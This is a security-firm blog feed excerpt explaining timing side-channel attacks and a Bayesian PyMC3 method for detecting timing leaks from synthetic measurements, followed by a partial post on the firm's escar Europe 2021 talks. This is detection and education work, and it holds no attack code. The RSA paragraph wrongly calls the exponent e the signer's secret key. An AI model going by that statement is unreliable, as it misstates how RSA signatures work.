This model is one of the results of a customer &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">assessment&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
performed by the SCHUTZWERK GmbH.
The assessment was performed in a gray box context, i.e., we were able to interact with the encryption hardware, but were not given any internal implementation details.&lt;/p>
&lt;h2 id="background">Background&lt;/h2>
&lt;p>In timing attacks on cryptographic systems, the goal is to establish a side channel via timings. This means, that not the in- and outputs of the cryptographic system are under attack, but rather some seemingly harmless information, in this case the running time of the algorithm. Based on multiple measurements of the running time the key or other secrets may be leaked.&lt;/p>
&lt;p>As a simple example, consider an encryption function where the duration of the encryption operation depends on the number of zero bits in the key. While the encryption may be secure, if access is given only to the resulting pairs of plaintext and ciphertext, the additional measurement of the duration of the encryption operation decreases the key space significantly. Consequently, the key is significantly easier to recover by an attacker who has additional knowledge about the running time of the encryption.&lt;/p>
&lt;p>The same attack can be applied when the duration of the encryption operation depends on the content of the plain text instead of the key. Another variation targets the decryption instead of the encryption function. Of course, this attack can also be generalized to signatures or other cryptographic primitives.&lt;/p>
&lt;p>In summary, the goal of a timing attack is to distinguish between two (or more) secret states by measuring the duration of the operations handling the secrets.&lt;/p>
&lt;h3 id="excursion-how-timing-attacks-occur">Excursion: How timing attacks occur&lt;/h3>
&lt;p>It is surprisingly hard to implement a cryptographic algorithm in such a way that it is not vulnerable to timing attacks. The running time of the code needs to be independent of the secret inputs, i.e. of constant duration. This is in contrast to the usual requirement of optimization that is prevalent in other domains. As an example, if two strings are compared for equivalence, optimized code compares the two strings &amp;ndash; character by character &amp;ndash; and stops as soon as a difference is found. However, in this case the running time directly corresponds to the first difference of the strings. Thus, by measuring the duration of the string comparison algorithm, the length of the common prefix can be inferred.&lt;/p>
&lt;p>A good overview of tricks used for converting common functions into functions running in constant time can be found &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/veorq/cryptocoding"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://github.com/veorq/cryptocoding"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">this&lt;/span>
&lt;/a>&lt;a
href="https://github.com/veorq/cryptocoding"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">compilation&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>In the following paragraphs, we present two real-life timing attacks in AES and RSA implementations to watch out for.&lt;/p>
&lt;h4 id="aes">AES&lt;/h4>
&lt;p>Consider the case of AES encryption. One step in the AES algorithm is an S-Box lookup. Naively, this is a table lookup, where the index is secret. However, when implemented as a lookup table, the implementation is vulnerable to timing attacks. Looking up entries closer to the start of the table takes less time than looking up latter entries. As the index of the table is considered secret, the running time can leak secret inputs. For a more detailed exposition see &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cr.yp.to/antiforgery/cachetiming-20050414.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cache-timing&lt;/span>
&lt;/a>&lt;a
href="https://cr.yp.to/antiforgery/cachetiming-20050414.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">attacks&lt;/span>
&lt;/a>&lt;a
href="https://cr.yp.to/antiforgery/cachetiming-20050414.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">on&lt;/span>
&lt;/a>&lt;a
href="https://cr.yp.to/antiforgery/cachetiming-20050414.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AES&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
by Bernstein.&lt;/p>
&lt;h4 id="rsa">RSA&lt;/h4>
&lt;p>As another example, consider RSA signatures. In RSA, $m^e$ needs to be computed where $m$ is the message and $e$ is the secret key of the sender. If $e$ is &amp;ldquo;small&amp;rdquo; computing $m^e$ is fast. Whereas, if $e$ is &amp;ldquo;large&amp;rdquo; the exponentiation takes longer. If a square and multiply algorithm is used for the exponentiation, the amount of squaring operations corresponds to the amount of one bits in the binary representation of $e$.&lt;/p>
&lt;h2 id="implementing-a-timing-distinguisher">Implementing a timing distinguisher&lt;/h2>
&lt;p>When transferring a timing attack from academic theory to practical assessments, there are some challenges.
Remember that the goal of a timing attack is to distinguish between two (or more) secret states by measuring the duration of the operations.
If only a single time measurement is taken for each state that should be distinguished, the durations are different.
However, this does not mean that a timing attack is possible.
Single measurements suffer from multiple sources of noise, e.g., the communication between the hardware chips is not of in constant duration. Consequently, multiple measurements can be created and the deviations can be filtered out, e.g., by averaging. However, averaging does not take into account the distribution of the noise. And the averages of the measurements of both setups still differ. The more measurements are taken, the more certainty there is in the result. But how many measurements are sufficient?&lt;/p>
&lt;p>As a solution to this challenge, we implemented a Bayesian distinguisher that returns the certainty that the implementation suffers from a timing attack. Our distinguisher takes two lists of timings as an input and returns the probability that these lists are sampled from the same distribution.&lt;/p>
&lt;p>A similar solution can be accomplished by the Kolmogorov-Smirnov (KS) test. However, while the KS test makes fewer assumptions on the distributions than our test, it only returns a qualitative statement, i.e., whether the samples are from the same distribution or not, without considering probabilities. The result of the KS test is a p-value which is often misunderstood. Additionally, it does not allow any introspection into the data model.
In contrast, our implementation returns the probability for the samples stemming from the same distribution and therefore the certainty of the vulnerability to a timing attack.&lt;/p>
&lt;h3 id="generation-of-test-data">Generation of test data&lt;/h3>
&lt;p>As we cannot disclose the real data of the assessment due to a non-disclosure agreement we artificially generate test data in order to present our approach.
Let us assume that we measure the duration needed for the encryption operation. First, we measure the durations required for encryption with a key key1 5000 times. Next, we measure the duration of the same encryption with a different key key2 5000 times. The durations are samples from a Gaussian distribution with a mean of 500 and 505 respectively, and standard deviations of 100, each.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">from&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">scipy&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> stats
&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">numpy&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">as&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">np&lt;/span>
key1_durations = stats.distributions.norm(loc=&lt;span style="color:#3677a9">500&lt;/span>, scale=&lt;span style="color:#3677a9">100.0&lt;/span>).rvs(size=&lt;span style="color:#3677a9">5000&lt;/span>)
key2_durations = stats.distributions.norm(loc=&lt;span style="color:#3677a9">505&lt;/span>, scale=&lt;span style="color:#3677a9">100.0&lt;/span>).rvs(size=&lt;span style="color:#3677a9">5000&lt;/span>)
&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">seaborn&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">as&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">sns&lt;/span>
sns.distplot(key1_durations, kde=&lt;span style="color:#6ab825;font-weight:bold">True&lt;/span>,
color = &lt;span style="color:#ed9d13">&amp;#39;darkblue&amp;#39;&lt;/span>,
kde_kws={&lt;span style="color:#ed9d13">&amp;#39;linewidth&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">3&lt;/span>})
&lt;/code>&lt;/pre>&lt;/div>
&lt;figure
style="width: 398px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_3_2_hu14199a09056060bb50550c15d49a26d8_11715_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_3_2_hu14199a09056060bb50550c15d49a26d8_11715_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_3_2_hu14199a09056060bb50550c15d49a26d8_11715_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_3_2.png"
width="398"
height="248"
alt="Gaussian distribution with a mean of 500."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Gaussian distribution with a mean of 500.&lt;/figcaption>
&lt;/figure>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">sns.distplot(key2_durations, kde=&lt;span style="color:#6ab825;font-weight:bold">True&lt;/span>,
color = &lt;span style="color:#ed9d13">&amp;#39;darkblue&amp;#39;&lt;/span>,
kde_kws={&lt;span style="color:#ed9d13">&amp;#39;linewidth&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">3&lt;/span>})
&lt;/code>&lt;/pre>&lt;/div>
&lt;figure
style="width: 404px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_4_2_hucf87cf629edbcf52b0e597fc8dff5655_13978_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_4_2_hucf87cf629edbcf52b0e597fc8dff5655_13978_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_4_2_hucf87cf629edbcf52b0e597fc8dff5655_13978_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_4_2.png"
width="404"
height="248"
alt="Gaussian distribution with a mean of 505."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Gaussian distribution with a mean of 505.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="bayesian-data-model">Bayesian Data Model&lt;/h3>
&lt;p>For our Bayesian analysis a data model needs to be specified first.
Assumptions about the measured data and their distributions need to be created based on the use case. In a next step, the parameters of the data are inferred.&lt;/p>
&lt;p>In our data model, the means of both distributions that are compared are chosen from a Gaussian distribution.
Note that we are cheating here.
As we sampled the test data from a Gaussian distribution, we already know that such a distribution will fit.
Nevertheless, a Gaussian distribution makes sense in our use case independent of our knowledge about the test data.
There are multiple sources of noise which affect our measurement.
Thus, due to the central limit theorem, this results in a Gaussian distribution given a &amp;ldquo;large enough&amp;rdquo; number of noise sources.&lt;/p>
&lt;p>More accurately, we assume that the measured durations are distributed with mean $\mu$ and standard deviation $\sigma$. As these parameters are unknown, we treat them as random variables from a prior distribution. The parameters of the prior distribution are then inferred using Bayes' theorem and state-of-the-art Markov Chain Monte Carlo methods. Note that this is in contrast to a frequentist analysis, where only the parameters with, e.g., the highest likelihood, are inferred. In a Bayesian model, such as the one presented here, the parameters are sampled from a distribution distribution themselves.&lt;/p>
&lt;p>We choose $\mu$ from the uniform distribution in a sensible range, i.e., between 400 and 600 as we do not have any prior knowledge of the real $\mu$.
We choose the deviation $\sigma$ from the Half-Normal distribution with a mean of zero and a standard deviation of 200. Basically, the Half-Normal distribution is the positive side of a normal distribution. This makes sense, as we do not expect $\sigma$ to be particularly large. 200 is just chosen as a high number to fit with our expectations.&lt;/p>
&lt;p>Our data model is very similar to the model of Kruschke (Bayesian estimation supersedes the t test. J Exp Psychol Gen. 2013;142(2):573-603. doi:10.1037/a0029146), but easier to work with. Kruschke makes use of a Student&amp;rsquo;s t-distribution, which is less sensitive to outlier observations than our Gaussian distribution.&lt;/p>
&lt;p>Formally our data model looks as follows:&lt;/p>
&lt;p>$$
\begin{aligned}
\mu &amp;amp;\sim Uniform (400, 600) \\&lt;br>
\sigma &amp;amp;\sim \lvert N(0, 200)\rvert \\&lt;br>
y &amp;amp;\sim N(\mu, \sigma) \\&lt;br>
\end{aligned}
$$&lt;/p>
&lt;p>Here, $y$ denotes the data.
Our Bayesian data model can be visualized using a Kruschke diagram.&lt;/p>
&lt;figure
style="width: 480px;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/kruschke_diagram_hu5f45c0ed68f16c3bdd754f6431ac1231_25701_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/kruschke_diagram_hu5f45c0ed68f16c3bdd754f6431ac1231_25701_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/kruschke_diagram_hu5f45c0ed68f16c3bdd754f6431ac1231_25701_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/kruschke_diagram.png"
width="480"
height="448"
alt="Bayesian data model visualized using a Kruschke diagram."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Bayesian data model visualized using a Kruschke diagram.&lt;/figcaption>
&lt;/figure>
&lt;p>As a next step, the parameters need to be inferred. This is done using a Markov-Chain Monte Carlo algorithm (MCMC). In particular, we are using PyMC3, which implements state-of-the-art MCMC algorithms such as the No-U-turn sampler. This is a variant of the Hamiltonian Monte Carlo algorithm, where the step lengths are determined dynamically. For learning more about MCMC algorithms we recommend starting by learning the Metropolis-Hastings algorithm as that is conceptually the simplest one and the starting point for many of the modern improvements.&lt;/p>
&lt;p>Using PyMC3 we compute the posterior distribution of the parameters and visualize them accordingly. More exactly, we can draw samples from the posterior distribution. Given enough samples, it is possible to approximate the distribution. As we are dealing with two sets of measurements, we can compute the difference of the distributions of their means.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">pymc3&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">as&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">pm&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">pandas&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">as&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">pd&lt;/span>
&lt;span style="color:#6ab825;font-weight:bold">with&lt;/span> pm.Model() &lt;span style="color:#6ab825;font-weight:bold">as&lt;/span> Model:
μ_1 = pm.Uniform (&lt;span style="color:#ed9d13">&amp;#39;μ_1&amp;#39;&lt;/span>, lower=&lt;span style="color:#3677a9">400&lt;/span>, upper=&lt;span style="color:#3677a9">600&lt;/span>)
σ_1 = pm.HalfNormal(&lt;span style="color:#ed9d13">&amp;#39;σ_1&amp;#39;&lt;/span>, sd=&lt;span style="color:#3677a9">200&lt;/span>)
y_1 = pm.Normal(&lt;span style="color:#ed9d13">&amp;#39;y_1&amp;#39;&lt;/span>, mu=μ_1, sd=σ_1, observed=key1_durations)
μ_2 = pm.Uniform (&lt;span style="color:#ed9d13">&amp;#39;μ_2&amp;#39;&lt;/span>, lower=&lt;span style="color:#3677a9">400&lt;/span>, upper=&lt;span style="color:#3677a9">600&lt;/span>)
σ_2 = pm.HalfNormal(&lt;span style="color:#ed9d13">&amp;#39;σ_2&amp;#39;&lt;/span>, sd=&lt;span style="color:#3677a9">200&lt;/span>)
y_2 = pm.Normal(&lt;span style="color:#ed9d13">&amp;#39;y_2&amp;#39;&lt;/span>, mu=μ_2, sd=σ_2, observed=key2_durations)
diff_of_means = pm.Deterministic(&lt;span style="color:#ed9d13">&amp;#39;diff_of_means&amp;#39;&lt;/span>, μ_1-μ_2)
diff_of_std = pm.Deterministic(&lt;span style="color:#ed9d13">&amp;#39;diff_of_std&amp;#39;&lt;/span>, σ_1-σ_2)
trace = pm.sample(&lt;span style="color:#3677a9">1000&lt;/span>)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>After sampling from the posterior distribution, convergence needs to be checked. Note that this is about convergence in distribution instead of convergence to a single value. In order to check convergence, the trace is plotted. If the traces are meandering, i.e., the latter samples visually depend on the previous samples, the convergence is not good. Intuitively, if the next samples are heavily correlated with the previous samples, the convergence is not given. However, this only provides an intuitive explanation, as MCMC algorithms always return correlated samples.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">arviz&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">as&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">az&lt;/span>
az.plot_trace(trace)
&lt;/code>&lt;/pre>&lt;/div>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_13_2_hud6f967d24d32c4aa9ef3aaabc53b2c6b_95139_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_13_2_hud6f967d24d32c4aa9ef3aaabc53b2c6b_95139_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_13_2_hud6f967d24d32c4aa9ef3aaabc53b2c6b_95139_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_13_2.png"
width="872"
height="872"
alt="Plotted traces for convergence check."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Plotted traces for convergence check.&lt;/figcaption>
&lt;/figure>
&lt;p>As we can see, the traces converge, as there are no obvious meandering patterns.
Next, we plot the posterior distributions of the means, the standard deviations, and their differences.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">az.summary(trace)
&lt;/code>&lt;/pre>&lt;/div>&lt;div>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;/th>
&lt;th>mean&lt;/th>
&lt;th>sd&lt;/th>
&lt;th>hdi_3%&lt;/th>
&lt;th>hdi_97%&lt;/th>
&lt;th>mcse_mean&lt;/th>
&lt;th>mcse_sd&lt;/th>
&lt;th>ess_bulk&lt;/th>
&lt;th>ess_tail&lt;/th>
&lt;th>r_hat&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;th>μ_1&lt;/th>
&lt;td>500.152&lt;/td>
&lt;td>1.426&lt;/td>
&lt;td>497.573&lt;/td>
&lt;td>502.843&lt;/td>
&lt;td>0.017&lt;/td>
&lt;td>0.012&lt;/td>
&lt;td>6688.0&lt;/td>
&lt;td>3258.0&lt;/td>
&lt;td>1.0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;th>σ_1&lt;/th>
&lt;td>99.398&lt;/td>
&lt;td>1.020&lt;/td>
&lt;td>97.369&lt;/td>
&lt;td>101.157&lt;/td>
&lt;td>0.012&lt;/td>
&lt;td>0.009&lt;/td>
&lt;td>6765.0&lt;/td>
&lt;td>3006.0&lt;/td>
&lt;td>1.0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;th>μ_2&lt;/th>
&lt;td>505.714&lt;/td>
&lt;td>1.434&lt;/td>
&lt;td>503.124&lt;/td>
&lt;td>508.460&lt;/td>
&lt;td>0.017&lt;/td>
&lt;td>0.012&lt;/td>
&lt;td>7214.0&lt;/td>
&lt;td>3384.0&lt;/td>
&lt;td>1.0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;th>σ_2&lt;/th>
&lt;td>100.631&lt;/td>
&lt;td>1.019&lt;/td>
&lt;td>98.778&lt;/td>
&lt;td>102.627&lt;/td>
&lt;td>0.013&lt;/td>
&lt;td>0.009&lt;/td>
&lt;td>6451.0&lt;/td>
&lt;td>3159.0&lt;/td>
&lt;td>1.0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;th>diff_of_means&lt;/th>
&lt;td>-5.562&lt;/td>
&lt;td>2.075&lt;/td>
&lt;td>-9.333&lt;/td>
&lt;td>-1.557&lt;/td>
&lt;td>0.026&lt;/td>
&lt;td>0.020&lt;/td>
&lt;td>6471.0&lt;/td>
&lt;td>2896.0&lt;/td>
&lt;td>1.0&lt;/td>
&lt;/tr>
&lt;tr>
&lt;th>diff_of_std&lt;/th>
&lt;td>-1.233&lt;/td>
&lt;td>1.429&lt;/td>
&lt;td>-3.773&lt;/td>
&lt;td>1.667&lt;/td>
&lt;td>0.018&lt;/td>
&lt;td>0.018&lt;/td>
&lt;td>6553.0&lt;/td>
&lt;td>3022.0&lt;/td>
&lt;td>1.0&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;/div>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-python" data-lang="python">az.plot_posterior(trace)
&lt;/code>&lt;/pre>&lt;/div>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_16_2_hub3472df5e6e643d6d85c23fbacb1ddb1_86050_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_16_2_hub3472df5e6e643d6d85c23fbacb1ddb1_86050_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_16_2_hub3472df5e6e643d6d85c23fbacb1ddb1_86050_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/output_16_2.png"
width="1498"
height="670"
alt="Plot of posterior distributions of the means, the standard deviations, and their differences."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Plot of posterior distributions of the means, the standard deviations, and their differences.&lt;/figcaption>
&lt;/figure>
&lt;p>The 94% HDI is the 94% highest density interval. This corresponds loosely to confidence intervals. With 94% certainty the real (estimated) value is inside the 94% HDI.&lt;/p>
&lt;p>We can see that the HDI of the means $\mu_1$ and $\mu_2$ do not overlap. From the diagram at the bottom center we know that with a certainty of 94%, the difference of the means is between -9.3 and -1.6. As this interval does not contain zero, we can conclude that the data is indicative of a timing attack with more than 94% probability.&lt;/p>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>In summary, we provided a statistical approach that allows to detect the susceptibility of a black box cryptographic implementation to timing attacks given several timing measurements. Additionally, our approach does not produce a qualitative statement, but instead a quantitative one, i.e., the certainty of the timing attack is returned depending, e.g., on the amount of performed measurements.&lt;/p>
&lt;p>Finally, to prove our claims, we implemented our model utilizing Python and showed its feasibility using generated test data.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>Title picture: Photo by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/@tima-miroshnichenko"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Tima&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/@tima-miroshnichenko"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Miroshnichenko&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/dawn-technology-time-watch-8327973/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/li>
&lt;/ul></description></item><item><title>SCHUTZWERK participated at escar Europe 2021 with two talks</title><link>https://www.schutzwerk.com/en/blog/escar21/</link><author>Deborah Kühntopf</author><pubDate>Mon, 15 Nov 2021 14:00:00 +0100</pubDate><category>proboter</category><category>automotive security</category><category>event</category><category>research</category><category>secforcars</category><description>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.escar.info/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">escar&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is the world&amp;rsquo;s leading automotive cyber security conference. International speakers from industry, academia and government give recent insights and encourage discussions on several automotive cyber security topics. The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.escar.info/escar-europe/program.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">program&lt;/span>
&lt;/a>&lt;a
href="https://www.escar.info/escar-europe/program.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.escar.info/escar-europe/program.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.escar.info/escar-europe/program.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">escar&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
typically ranges from talks about modern in-vehicle cyber security threats and vulnerabilities to talks about risk mitigation and countermeasures. This year&amp;rsquo;s escar Europe took place as a hybrid conference in Frankfurt with around 100 online participants and around 100 on-site participants. SCHUTZWERK participated at the escar Europe with two talks:&lt;/p>
&lt;h2 id="challenges-in-automotive-penetration-testing">Challenges in Automotive Penetration Testing&lt;/h2>
&lt;p>In his talk, Dr. Bastian Könings discussed typical challenges in automotive penetration testing. From his experience with several penetration tests for OEMs and suppliers during the last years, he highlighted common pitfalls, shortcomings and other challenging situations in the planning and execution phases of automotive penetration tests, both from the customer&amp;rsquo;s and pentester&amp;rsquo;s perspective. Where possible, he discussed potential solutions or directions for overcoming these challenges in future penetration tests of ECUs and vehicles.&lt;/p>
&lt;h2 id="proboter---automating-pcb-analysis-tasks-to-support-penetration-tests-of-embedded-systems">PROBoter - Automating PCB Analysis Tasks to Support Penetration Tests of Embedded Systems&lt;/h2>
&lt;p>Fabian Weber presented the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, which is a hardware platform to support penetration tests of embedded systems by automating time-consuming analysis tasks.&lt;/p>
&lt;p>Analyzing the security of hardware components is an essential part of &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">tests&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">context&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">systems&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Especially in the domain of automotive security and upcoming autonomous vehicles, vulnerabilities of electronic control units (ECUs) may have severe implications and therefore should be identified early in the development process (as also required by new regulations). Typically, the security analysis requires manual probing of pins or other contact pads on the printed circuit boards (PCBs) followed by the attempt to identify signals and respective bus protocols.&lt;/p>
